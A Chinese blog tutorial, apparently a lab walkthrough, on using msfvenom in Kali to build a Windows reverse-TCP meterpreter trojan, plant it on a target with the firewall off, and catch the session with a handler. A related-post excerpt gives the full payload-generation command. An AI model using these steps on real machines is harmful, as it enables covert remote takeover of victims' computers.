msf之msfvenom的使用—使用Kali渗透工具生成远控木马

2024-06-10 04:39:09

一.先解释一下

msfvenom取代了msfpayload和msfencode，常用于生成远控木马，在目标机器上执行后门，在本地机器kali中监听上线。

（注意：msfvenom是在shell里使用的哈，不是msfconsole终端！）

公式如下（别人的图，借鉴借鉴）

二.那就开始使用吧

1.使用模块

等待生成demo1000.exe（生成shell）

（ lhost为Kali的IP， Iport在范围内随意设置，记住你设置的端口号后面要用，可以参考下面的这个图中的信息）

2.生成后门成功

在文件夹中查找到

（这个demo10000.exe就是shell ！！）

（在实操中，一般是通过web等漏洞来进行上传到目标机的）
此处为了能快速复刻实验，直接复制到目标主机上！（注意！防火墙会拦截！我这里是已经手动关闭了防火墙的！如果你不想关闭防火墙到时候可以手动信任一下）

3.木马复制到目标机后回到Kali

把Kali端口打开（同生成木马的lport 1000 一样哦）

①首先进入msf模块

②使用下列模块开启端口

并查看模块必选项：

这里的handler的模块一定要同之前生成后门的必选项是一致的

设置完成后直接跑起来！！！

注意：当目标机不触发demo1000时这个程序是不会跑出结果的！！

当目标主机运行这个程序时才会出现哦！

成功之后就会出现meterpreter啦，是不是和上次的不谋而合了结局。

learning.......

msf之msfvenom的使用—使用Kali渗透工具生成远控木马相关推荐

msfvenom生成远控木马
1.生成病毒在终端输入msfvenom -p windows/x64/meterpreter/reverse_tcp lhost =192.168.116.132 lport =12345 -f e ...
Kali Linux Armitage生成被控端和主控端
目录说明使用 Armitage生成被控端和主控端说明按照<Kali Linux2 网络渗透测试实践指南第二版 >第八章操作仅供学习讨论使用,请勿进行非法操作使用 Armita ...
vb6.0 生成exe被简称是木马_使用MSF渗透框架生成PHP木马并实现控制远程服务器
一.背景介绍 Metasploit就是一个漏洞框架.它的全称叫做The Metasploit Framework,简称叫做MSF.Metasploit作为全球最受欢迎的工具,不仅仅是因为它的方便性和强 ...
渗透测试快速稳定远控软件,高级渗透测试第八季-demo即是远控
本季是<高级持续渗透-第七季demo的成长>的延续. 点击文末左下方"阅读原文"可阅读第七季正文. https://www.secpulse.com/archives/ ...
网络安全kali渗透学习 web渗透入门使用msf扫描靶机上mysql服务的空密码
实战-使用msf扫描靶机上mysql服务的空密码我们启动一台Metasploitable2-Linux靶机网络模式为桥接IP:192.168.1.180 登录Metasploitable2-Linu ...
Web渗透之MSF框架——msfvenom与免杀木马制作
文章目录生成常见的反向连接木马反向连接的优势: Windows: Linux: MAC: PHP: Asp: Aspx: msfvenom参数介绍生成免杀木马 360免杀木马腾讯管家免杀木马 ...
【Web安全】内网渗透研究之利用MSF和Impacket工具拿域控
内网渗透拿域控环境:http://afsgr16-b1ferw.aqlab.cn/?id=1 [查看资料] 1.进去一看,典型的sql注入 2.测试了一下,可以爆库,也可以写一句话,并且还爆了绝对路 ...
渗透工具-白帽安全工程师Kali linux系统
渗透工具-白帽安全工程师Kali linux ubuntu 20.04 安装metasploit msfvenom常用生成 Payload 命令 2022 安装 Armitage 傻瓜渗透msf 介绍 ...
Kali渗透测试：远程控制程序基础
Kali渗透测试:远程控制程序基础测试环境: 攻击机:Linux kali 5.16.0-kali (IP:192.168.68.248) 靶机:WinXP (IP:192.168.68.159) ...

最新文章

热门文章